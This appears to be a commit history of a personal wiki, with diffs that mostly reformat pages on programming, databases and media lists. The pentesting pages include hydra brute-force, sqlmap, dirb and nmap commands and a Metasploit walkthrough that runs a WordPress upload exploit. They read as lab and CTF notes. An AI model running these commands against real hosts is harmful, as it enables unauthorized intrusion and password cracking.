+-   [How to install the Google Play Store on an Android Fire Tablet](https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/)
updated databases/postgres.md
Show More Show Less

 
 ## Links
 
-* [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
-* [Better Date Manipulation in Postgres Queries](https://robots.thoughtbot.com/better-date-manipulation-in-postgres-queries) by Derrick Carr, 19 September 2017
-
+-   [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
+-   [Better Date Manipulation in Postgres Queries](https://robots.thoughtbot.com/better-date-manipulation-in-postgres-queries) by Derrick Carr, 19 September 2017
updated meta/README.md
Show More Show Less
 After seeing [Nikita Voloboev](https://nikitavoloboev.xyz/)'s [GitBook](https://
 ## How it's Built
 
 This wiki is built using [GitBook](https://github.com/GitbookIO/gitbook) and hosted on [Netlify](https://netlify.com/).
-
deleted meta/license.md
updated pentesting/README.md
Show More Show Less

 
 ## Links
 
-* [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
-* [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
-* [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
+-   [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
+-   [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
+-   [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
 
 ## Useful Commands
 
 dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt
 
 #### Resources
 
-* [http://tools.kali.org/web-applications/dirb](http://tools.kali.org/web-applications/dirb)
-* [https://github.com/seifreed/dirb](https://github.com/seifreed/dirb)
+-   
+-   
 
 ### gobuster
 
 Directory/file & DNS busting tool written in Go.
 
 #### Resources
 
-* [https://github.com/OJ/gobuster](https://github.com/OJ/gobuster)
+-   
 
 ### Hydra
 
 hydra 192.168.0.104 http-post-form '/imfadministrator/index.php:user=^USER^&pass
 
 #### Resources
 
-* [http://tools.kali.org/password-attacks/hydra/](http://tools.kali.org/password-attacks/hydra/)
-* [https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/](https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/)
-* [http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html](http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html)
+-   
+-   
+-   
 
 ### sqlmap
 
 When having to log into an PHPSESSIONID auth:
 ```text
 sqlmap -u http://192.168.0.104/imfadministrator/cms.php?pagename=upload --banner --cookie="PHPSESSID=m0i2uapvsqlklug2tpe2a8cis2; security=low" -f
 ```
-
updated pentesting/nmap.md
Show More Show Less
 Display Netbios name:
 nmap -sU --script nbstat.nse -p 137 target
 ```
 
-Check if Netbios servers are vulnerable to MS08-067 \(`--script-args=unsafe=1` has the potential to crash servers / services\).
+Check if Netbios servers are vulnerable to MS08-067 (`--script-args=unsafe=1` has the potential to crash servers / services).
 
 ## Nikto Scan
 
 Scans for http/https servers on port 80, 443 and pipes into Nikto for scanning:
 ```bash
 nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -
 ```
-
updated pentesting/wordpress.md
Show More Show Less
 msf > db_nmap -v -sV 192.168.111.xxx
 
 ### Scan an Entire Network
 
-* This will save the results to the metasploit database
+-   This will save the results to the metasploit database
 
 ```bash
 msf > nmap -v -sV 192.168.111.0/24 -oA subnet_1
 ```
 
-* `hosts` will list all the hosts found by `nmap`.
-* `hosts -R` will add them to the list of hosts to exploit.
+-   `hosts` will list all the hosts found by `nmap`.
+-   `hosts -R` will add them to the list of hosts to exploit.
 
 ## Searching for a WordPress Vulnerability
 
 msf > search name:wordpress
 
 ## Use an Exploit
 
-* This will select an exploit to use:
+-   This will select an exploit to use:
 
 ```bash
 msf > use exploit/unix/webapp/wp_wysija_newsletters_upload
 ```
 
-* This will show you the attacks that the exploit will take advantage of:
+-   This will show you the attacks that the exploit will take advantage of:
 
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 
 ![pentest-env-kali-rolling\_\_Running\_.png](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/pentesting/resources/67A7D5964C96C63BA11EEA707CB4A604.png)
 
-* This will show what software and version will be targeted:
+-   This will show what software and version will be targeted:
 
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > show targets
 Exploit target:
     0   wysija-newsletters < 2.6.8
 ```
 
-* Here is where we set all the options:
+-   Here is where we set all the options:
 
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > set RHOST 159.203.19.77
 msf exploit(wp_wysija_newsletters_upload) > set VHOST myles.life
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > exploit
 ```
-
updated programming/css.md
Show More Show Less

 
 ## Link
 
-* [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
-
+-   [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
updated programming/python/README.md
Show More Show Less

 
 ## Links
 
-* [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
-
+-   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
updated programming/python/celery.md
Show More Show Less

 
 ## Links
 
-* [Three quick tips from two years with Celery](https://medium.com/@taylorhughes/three-quick-tips-from-two-years-with-celery-c05ff9d7f9eb) by **Taylor Hughes**
-
+-   [Three quick tips from two years with Celery](https://medium.com/@taylorhughes/three-quick-tips-from-two-years-with-celery-c05ff9d7f9eb) by **Taylor Hughes**
updated programming/python/pandas.md
Show More Show Less

 
 ## Notes
 
-* [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
+-   [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
 
 ## Snippets
 
 from slugify import slugify
 
 df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
 ```
-
updated programming/static-websites.md
Show More Show Less

 # Static Website Generators
 
 I keep a list of [Static Website Generators on GitHub](https://github.com/myles/awesome-static-generators/blob/master/README.md).
-
updated setup.md
Show More Show Less

----
-description: 'The list of the applications, tools, and services that I''m currently using.'
----
+* * *
+
+## description: 'The list of the applications, tools, and services that I''m currently using.'
 
 # Setup
 
 A GUI Git client and text editor for iOS.
 ### [TweetBot](https://tapbots.com/tweetbot/)
 
 My favorite Twitter client for iOS and macOS.
-
updated text-editors/README.md
Show More Show Less

 # Text Editors
 
-* [Visual Studio Code](vscode.md)
-
+-   [Visual Studio Code](vscode.md)
updated text-editors/vscode.md
Show More Show Less

 
 ## Links
 
-* [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
-
+-   [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
Oct, 03 2018

:construction: Did some stuff.

added .remarkrc
Show More Show Less

+{
+  "plugins": [
+    "preset-lint-recommended"
+  ]
+}
updated SUMMARY.md
Show More Show Less

 * [Pentesting](pentesting/README.md)
   * [nmap Cheat Sheet](pentesting/nmap.md)
   * [WordPress](pentesting/wordpress.md)
-* [Programming](programming/README.md)
+* [Computer Science](programming/README.md)
   * [CSS](programming/css.md)
   * [Python](programming/python/README.md)
     * [Celery](programming/python/celery.md)

   * [Static Website Generators](programming/static-websites.md)
 * [Text Editors](text-editors/README.md)
   * [Visual Studio Code](text-editors/vscode.md)
-
updated programming/README.md
Show More Show Less

 # Programming
-
-
-
added programming/go.md
Show More Show Less

+# Go
+
+## Links
+
+-   [Building Web Apps with Go!](https://codegangsta.gitbooks.io/building-web-apps-with-go/content/)
Oct, 02 2018

:construction:fix two pages

updated lists/films.md
Show More Show Less

-# Film to watch 📽
+# Film to Watch 📽
 
 -   [ ] Leave No Trace (2018)
+-   [ ] Don't Worry, He Won't Get Far on Foot (2018), [iTunes](https://tv.apple.com/ca/movie/dont-worry-he-wont-get-far-on-foot/umc.cmc.2q1lhbvg9mi946hy8akkvmiur)
updated lists/tv-shows.md
Show More Show Less

-# TV sows to binge 📺
+# TV Shows to Binge 📺
 
 -   [ ] Eli Stone (2008, 2009)
Oct, 02 2018

add two pages

added lists/films.md
Show More Show Less

+# Film to watch 📽
+
+-   [ ] Leave No Trace (2018)
added lists/tv-shows.md
Show More Show Less

+# TV sows to binge 📺
+
+-   [ ] Eli Stone (2008, 2009)
Oct, 02 2018

Update README.md

updated README.md
Show More Show Less

 
 👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
 
+---
 
-
+[![](https://i.creativecommons.org/l/by/4.0/88x31.png "Creative Commons Licence")](https://wiki.mylesb.ca/meta/license.html "Creative Commons Attribution 4.0 International License")
+This work is licensed under a [Creative Commons Attribution 4.0 International License](http://creativecommons.org/licenses/by/4.0/).
Oct, 02 2018

GitBook: [master] 2 pages modified

updated README.md
Show More Show Less

-# Introduction
+# Myles' Wiki 📚
 
 👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
 
+
+
updated SUMMARY.md
Show More Show Less

 # Table of contents
 
-* [Introduction](README.md)
+* [Myles' Wiki 📚](README.md)
 * [Meta](meta/README.md)
   * [License](meta/license.md)
 * [Setup](setup.md)
Oct, 02 2018

GitBook: [master] one page modified

updated setup.md
Show More Show Less

-# Setup
+---
+description: 'The list of the applications, tools, and services that I''m currently using.'
+---
 
-List of applications, tools, and services that I'm currently using.
+# Setup
 
 ## Applications
 
Oct, 02 2018

GitBook: [master] 22 pages modified

deleted LICENSE.md
updated README.md
Show More Show Less

-# [📚 Myles' Wiki 📚](https://wiki.mylesb.ca/)
+# Introduction
 
 👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
+
updated SUMMARY.md
Show More Show Less

-# Summary
+# Table of contents
+
+* [Introduction](README.md)
+* [Meta](meta/README.md)
+  * [License](meta/license.md)
+* [Setup](setup.md)
+* [Android](android/README.md)
+  * [Fire OS](android/fire-os.md)
+* [Databases](databases/README.md)
+  * [Postgres](databases/postgres.md)
+* [Pentesting](pentesting/README.md)
+  * [nmap Cheat Sheet](pentesting/nmap.md)
+  * [WordPress](pentesting/wordpress.md)
+* [Programming](programming/README.md)
+  * [CSS](programming/css.md)
+  * [Python](programming/python/README.md)
+    * [Celery](programming/python/celery.md)
+    * [Pandas](programming/python/pandas.md)
+  * [Static Website Generators](programming/static-websites.md)
+* [Text Editors](text-editors/README.md)
+  * [Visual Studio Code](text-editors/vscode.md)
 
--   [Introduction](README.md)
--   [Meta](meta.md)
-    -   [License](LICENSE.md)
--   [Setup](/setup.md)
--   [Android](/android.md)
-    -   [Fire OS](/android/fire-os.md)
--   [Databases](/databases/README.md)
-    -   [Postgres](/databases/postgres.md)
--   [Pentesting](pentesting/README.md)
-    -   [nmap Cheat Sheet](pentesting/nmap.md)
-    -   [WordPress](pentesting/wordpress.md)
--   [Programming](programming/README.md)
-    -   [CSS](programming/css.md)
-    -   [Python](programming/python/README.md)
-        -   [Celery](programming/python/celery.md)
-        -   [Pandas](programming/python/pandas.md)
-    -   [Static Website Generators](programming/static-websites.md)
--   [Text Editors](text-editors/README.md)
-    -   [Visual Studio Code](text-editors/vscode.md)
updated android/README.md
Show More Show Less

 # Android
 
--   [Fire OS](//android/fire-os.md)
updated android/fire-os.md
Show More Show Less

 
 ## Links
 
--   [How to install the Google Play Store on an Android Fire Tablet](https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/ "How to Install the Google Play Store on the Amazon Fire Tablet or Fire HD 8")
+* [How to install the Google Play Store on an Android Fire Tablet](https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/)
+
updated databases/postgres.md
Show More Show Less

 
 ## Links
 
--   [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
+* [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
+* [Better Date Manipulation in Postgres Queries](https://robots.thoughtbot.com/better-date-manipulation-in-postgres-queries) by Derrick Carr, 19 September 2017
+
added meta/license.md
Show More Show Less

+# License
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER.
+
+## Statement of Purpose
+
+The laws of most jurisdictions throughout the world automatically confer exclusive Copyright and Related Rights \(defined below\) upon the creator and subsequent owner\(s\) \(each and all, an "owner"\) of an original work of authorship and/or a database \(each, a "Work"\).
+
+Certain owners wish to permanently relinquish those rights to a Work for the purpose of contributing to a commons of creative, cultural and scientific works \("Commons"\) that the public can reliably and without fear of later claims of infringement build upon, modify, incorporate in other works, reuse and redistribute as freely as possible in any form whatsoever and for any purposes, including without limitation commercial purposes. These owners may contribute to the Commons to promote the ideal of a free culture and the further production of creative, cultural and scientific works, or to gain reputation or greater distribution for their Work in part through the use and efforts of others.
+
+For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work \(the "Affirmer"\), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights.
+
+1. **Copyright and Related Rights.** A Work made available under CC0 may be protected by copyright and related or neighboring rights \("Copyright and Related Rights"\). Copyright and Related Rights include, but are not limited to, the following:
+
+   i. the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work;
+
+   ii. moral rights retained by the original author\(s\) and/or performer\(s\);
+
+   iii. publicity and privacy rights pertaining to a person's image or likeness depicted in a Work;
+
+   iv. rights protecting against unfair competition in regards to a Work, subject to the limitations in paragraph 4\(a\), below;
+
+   v. rights protecting the extraction, dissemination, use and reuse of data in a Work;
+
+   vi. database rights \(such as those arising under Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, and under any national implementation thereof, including any amended or successor version of such directive\); and
+
+   vii. other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof.
+
+2. **Waiver.** To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown \(including existing as well as future claims and causes of action\), in the Work \(i\) in all territories worldwide, \(ii\) for the maximum duration provided by applicable law or treaty \(including future time extensions\), \(iii\) in any current or future medium and for any number of copies, and \(iv\) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes \(the "Waiver"\). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose.
+3. **Public License Fallback.** Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work \(i\) in all territories worldwide, \(ii\) for the maximum duration provided by applicable law or treaty \(including future time extensions\), \(iii\) in any current or future medium and for any number of copies, and \(iv\) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes \(the "License"\). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not \(i\) exercise any of his or her remaining Copyright and Related Rights in the Work or \(ii\) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose.
+4. **Limitations and Disclaimers.**
+
+   a. No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document.
+
+   b. Affirmer offers the Work as-is and makes no representations or warranties of any kind concerning the Work, express, implied, statutory or otherwise, including without limitation warranties of title, merchantability, fitness for a particular purpose, non infringement, or the absence of latent or other defects, accuracy, or the present or absence of errors, whether or not discoverable, all to the greatest extent permissible under applicable law.
+
+   c. Affirmer disclaims responsibility for clearing rights of other persons that may apply to the Work or any use thereof, including without limitation any person's Copyright and Related Rights in the Work. Further, Affirmer disclaims responsibility for obtaining any necessary consents, permissions or other rights required for any use of the Work.
+
+   d. Affirmer understands and acknowledges that Creative Commons is not a party to this document and has no duty or obligation with respect to this CC0 or use of the Work.
+
updated pentesting/README.md
Show More Show Less

-# Pentesting / Capture the Flag
+# Pentesting
 
 ## Links
 
--   [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
--   [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
--   [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
+* [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
+* [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
+* [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
 
 ## Useful Commands
 
 ### Searching a range of IP Address
 
-```
+```text
 root@kali:~# netdiscover -i eth2 -r 192.168.0.0/24
 
  Currently scanning: Finished!   |   Screen View: Unique Hosts
 Searches all the directory contents on a website
 
 #### Usage
 
-```shell
+```text
 dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt
 ```
 
 #### Resources
 
--   [http://tools.kali.org/web-applications/dirb](http://tools.kali.org/web-applications/dirb)
--   [https://github.com/seifreed/dirb](https://github.com/seifreed/dirb)
+* [http://tools.kali.org/web-applications/dirb](http://tools.kali.org/web-applications/dirb)
+* [https://github.com/seifreed/dirb](https://github.com/seifreed/dirb)
 
 ### gobuster
 
 Directory/file & DNS busting tool written in Go.
 
 #### Resources
 
--   [https://github.com/OJ/gobuster](https://github.com/OJ/gobuster)
+* [https://github.com/OJ/gobuster](https://github.com/OJ/gobuster)
 
 ### Hydra
 
 Exploiting Username and Password forms.
 
 #### Usage
 
-```shell
+```text
 hydra 192.168.0.104 http-post-form '/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid password' -L /root/usernames.txt -P /usr/share/wordlists/metasploit/password.lst -vV -t 10 -w 30 -o hydra-http-post-attack.txt
 ```
 
 #### Resources
 
--   [http://tools.kali.org/password-attacks/hydra/](http://tools.kali.org/password-attacks/hydra/)
--   [https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/](https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/)
--   [http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html](http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html)
+* [http://tools.kali.org/password-attacks/hydra/](http://tools.kali.org/password-attacks/hydra/)
+* [https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/](https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/)
+* [http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html](http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html)
 
 ### sqlmap
 
 Used for doing SQL injection stuff.
 
 When having to log into an PHPSESSIONID auth:
 
-```shell
+```text
 sqlmap -u http://192.168.0.104/imfadministrator/cms.php?pagename=upload --banner --cookie="PHPSESSID=m0i2uapvsqlklug2tpe2a8cis2; security=low" -f
 ```
+
updated pentesting/nmap.md
Show More Show Less

 
 Ping scans the network, listing machines that respond to ping:
 
-```sh
+```bash
 nmap -sP 10.0.0.0/24
 ```
 
 Full TCP port scan using with service version detection - usually my first scan, I find T4 more accurate than T5 and still _pretty quick_:
 
-```sh
+```bash
 nmap -p 1-65535 -sV -sS -T4 target
 ```
 
 Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + traceroute and scripts against target services:
 
-```sh
+```bash
 nmap -v -sS -A -T4 target
 ```
 
 Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection + traceroute and scripts against target services:
 
-```sh
+```bash
 nmap -v -sS -A -T5 target
 ```
 
 Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection:
 
-```sh
+```bash
 nmap -v -sV -O -sS -T5 target
 ```
 
 Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + full port range scan:
 
-```sh
+```bash
 nmap -v -p 1-65535 -sV -O -sS -T4 target
 ```
 
 Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection + full port range scan:
 
-```sh
+```bash
 nmap -v -p 1-65535 -sV -O -sS -T5 target
 ```
 
 nmap -v -p 1-65535 -sV -O -sS -T5 target
 
 Scans a list of IP addresses, you can add options before / after.
 
-```sh
+```bash
 nmap -iL ip-addresses.txt
 ```
 
 nmap -iL ip-addresses.txt
 
 Outputs _grepable_ output to a file, in this example Netbios servers. E.g, The output file could be grepped for _Open_:
 
-```sh
+```bash
 nmap -sV -p 139,445 -oG grep-output.txt 10.0.1.0/24
 ```
 
 Export output to a HTML report:
 
-```sh
+```bash
 nmap -sS -sV -T5 10.0.1.99 --webxml -oX - | xsltproc --output file.html -
 ```
 
 nmap -sS -sV -T5 10.0.1.99 --webxml -oX - | xsltproc --output file.html -
 
 Find all Netbios servers on a subnet:
 
-```sh
+```bash
 nmap -sV -v -p 139,445 10.0.0.1/24
 ```
 
 Display Netbios name:
 
-```sh
+```bash
 nmap -sU --script nbstat.nse -p 137 target
 ```
 
 Check if Netbios servers are vulnerable to MS08-067 \(`--script-args=unsafe=1` h
 
 Scans for http servers on port 80 and pipes into Nikto for scanning:
 
-```sh
+```bash
 nmap -p80 10.0.1.0/24 -oG - | nikto.pl -h -
 ```
 
 Scans for http/https servers on port 80, 443 and pipes into Nikto for scanning:
 
-```sh
+```bash
 nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -
 ```
+
updated pentesting/wordpress.md
Show More Show Less

 # WordPress
 
-### Identify a Remote Host
+## Identify a Remote Host
 
-```sh
+```bash
 msf > db_nmap -v -sV 192.168.111.xxx
 ```
 
-![pentest-env-kali-rolling\_\_Running\_.png](resources/575CF62D4C7E18CFD40566EA08E7D588.png)
+![pentest-env-kali-rolling\_\_Running\_.png](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/pentesting/resources/575CF62D4C7E18CFD40566EA08E7D588.png)
 
-#### Scan an Entire Network
+### Scan an Entire Network
 
-*   This will save the results to the metasploit database
+* This will save the results to the metasploit database
 
-```sh
+```bash
 msf > nmap -v -sV 192.168.111.0/24 -oA subnet_1
 ```
 
-*   `hosts` will list all the hosts found by `nmap`.
-*   `hosts -R` will add them to the list of hosts to exploit.
+* `hosts` will list all the hosts found by `nmap`.
+* `hosts -R` will add them to the list of hosts to exploit.
 
-### Searching for a WordPress Vulnerability
+## Searching for a WordPress Vulnerability
 
-```sh
+```bash
 msf > search name:wordpress
 ```
 
-![pentest-env-kali-rolling\_\_Running\_.png](resources/A9D412A6F8C5F3485B429E2EA41D4CB9.png)
+![pentest-env-kali-rolling\_\_Running\_.png](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/pentesting/resources/A9D412A6F8C5F3485B429E2EA41D4CB9.png)
 
-### Use an Exploit
+## Use an Exploit
 
-*   This will select an exploit to use:
+* This will select an exploit to use:
 
-```sh
+```bash
 msf > use exploit/unix/webapp/wp_wysija_newsletters_upload
 ```
 
-*   This will show you the attacks that the exploit will take advantage of:
+* This will show you the attacks that the exploit will take advantage of:
 
-```sh
+```bash
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 ```
 
-![pentest-env-kali-rolling\_\_Running\_.png](resources/67A7D5964C96C63BA11EEA707CB4A604.png)
+![pentest-env-kali-rolling\_\_Running\_.png](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/pentesting/resources/67A7D5964C96C63BA11EEA707CB4A604.png)
 
-*   This will show what software and version will be targeted:
+* This will show what software and version will be targeted:
 
-```sh
+```bash
 msf exploit(wp_wysija_newsletters_upload) > show targets
 ```
 
 Exploit targets:
     0   wysija-newsletter < 2.6.8
 ```
 
-### Next configure the Exploit
+## Next configure the Exploit
 
-```sh
+```bash
 msf exploit(wp_wysija_newsletters_upload) > show options
 ```
 
 Exploit target:
     0   wysija-newsletters < 2.6.8
 ```
 
-*   Here is where we set all the options:
+* Here is where we set all the options:
 
-```sh
+```bash
 msf exploit(wp_wysija_newsletters_upload) > set RHOST 159.203.19.77
 msf exploit(wp_wysija_newsletters_upload) > set RPORT 443
 msf exploit(wp_wysija_newsletters_upload) > set SSL true
 msf exploit(wp_wysija_newsletters_upload) > set VHOST myles.life
 ```
 
-### Run the Exploit
+## Run the Exploit
 
-```sh
+```bash
 msf exploit(wp_wysija_newsletters_upload) > exploit
 ```
+
updated programming/README.md
Show More Show Less

 # Programming
+
+
+
updated programming/css.md
Show More Show Less

 
 ## Link
 
--   [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
+* [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
+
updated programming/python/README.md
Show More Show Less

-# Python 🐍
+# Python
 
 ## Links
 
--   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
+* [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
+
updated programming/python/celery.md
Show More Show Less

 
 ## Links
 
--   [Three quick tips from two years with Celery](https://medium.com/@taylorhughes/three-quick-tips-from-two-years-with-celery-c05ff9d7f9eb) by **Taylor Hughes**
+* [Three quick tips from two years with Celery](https://medium.com/@taylorhughes/three-quick-tips-from-two-years-with-celery-c05ff9d7f9eb) by **Taylor Hughes**
+
updated programming/python/pandas.md
Show More Show Less

-# Pandas 🐼
+# Pandas
 
 ## Notes
 
-*   [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
+* [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
 
 ## Snippets
 
 ### Connect to a SQL Database
 
-```py
+```python
 import pandas as pd
 import numpy as np
 from sqlalchemy import create_engine
 df.head()
 
 #### SQLite
 
-```py
+```python
 import pandas as pd
 import sqlite
 
 df.head()
 
 ### Python compatible column names with [slugify](https://pypi.python.org/pypi/awesome-slugify)
 
-```py
+```python
 from slugify import slugify
 
 df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
 ```
+
updated programming/static-websites.md
Show More Show Less

 # Static Website Generators
 
-I keep a list of [Static Website Generators on GitHub](https://github.com/myles/awesome-static-generators/blob/master/README.md "Awesome Static Site Generators").
+I keep a list of [Static Website Generators on GitHub](https://github.com/myles/awesome-static-generators/blob/master/README.md).
+
updated setup.md
Show More Show Less
 A GUI Git client and text editor for iOS.
 ### [TweetBot](https://tapbots.com/tweetbot/)
 
 My favorite Twitter client for iOS and macOS.
+
updated text-editors/README.md
Show More Show Less

 # Text Editors
 
--   [Visual Studio Code](/text-editors/vscode.md)
+* [Visual Studio Code](vscode.md)
+
updated text-editors/vscode.md
Show More Show Less

 
 ## Links
 
--   [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](/programming/jupyter-notebook.md).
